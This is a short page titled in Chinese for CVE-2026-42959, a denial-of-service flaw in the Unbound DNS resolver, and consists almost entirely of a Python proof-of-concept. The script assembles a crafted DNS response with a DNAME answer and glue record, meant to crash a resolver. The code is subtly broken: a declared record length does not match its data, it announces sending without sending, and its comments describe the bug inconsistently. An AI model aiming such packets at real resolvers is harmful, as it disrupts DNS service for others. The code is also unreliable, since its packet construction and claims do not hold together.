CVE-2026-42959 NLnet Labs Unbound 拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42959 (Unbound DNSSEC DoS) This script demonstrates the packet structure required to trigger the crash. It sends a crafted response with a DNAME record and specific glue records. Note: Requires a controlled DNSSEC signed domain environment. """ import socket import struct def build_dns_response(): # DNS Header # ID: 0x1234, Flags: Response, Authoritative, Recursion Available header = struct.pack('!HHHHHH', 0x1234, 0x8580, 1, 1, 0, 1) # Question Section qname = b'\x03www\x07example\x03com\x00' # www.example.com qtype = struct.pack('!H', 1) # A record qclass = struct.pack('!H', 1) # IN question = qname + qtype + qclass # Answer Section (DNAME to increase count) # Simplified representation of a DNAME record ans_name = b'\x03www\x07example\x03com\x00' ans_type = struct.pack('!H', 39) # DNAME type ans_class = struct.pack('!H', 1) ans_ttl = struct.pack('!I', 3600) ans_dlen = struct.pack('!H', 15) ans_data = b'\x05alias\x07example\x03com\x00' answer = ans_name + ans_type + ans_class + ans_ttl + ans_dlen + ans_data # Additional Section (Glue records to trigger uninitialized write) # This is where the off-by-one/write offset error occurs add_name = b'\x02ns\x07example\x03com\x00' add_type = struct.pack('!H', 1) # A record add_class = struct.pack('!H', 1) add_ttl = struct.pack('!I', 3600) add_dlen = struct.pack('!H', 4) add_data = socket.inet_aton('192.0.2.1') # Example IP additional = add_name + add_type + add_class + add_ttl + add_dlen + add_data return header + question + answer + additional if __name__ == "__main__": payload = build_dns_response() print(f"[+] Sending crafted DNS response payload ({len(payload)} bytes)...") # In a real scenario, this would be sent to a vulnerable Unbound resolver # via UDP/53 or used in a response to a query it initiates. # print(payload.hex())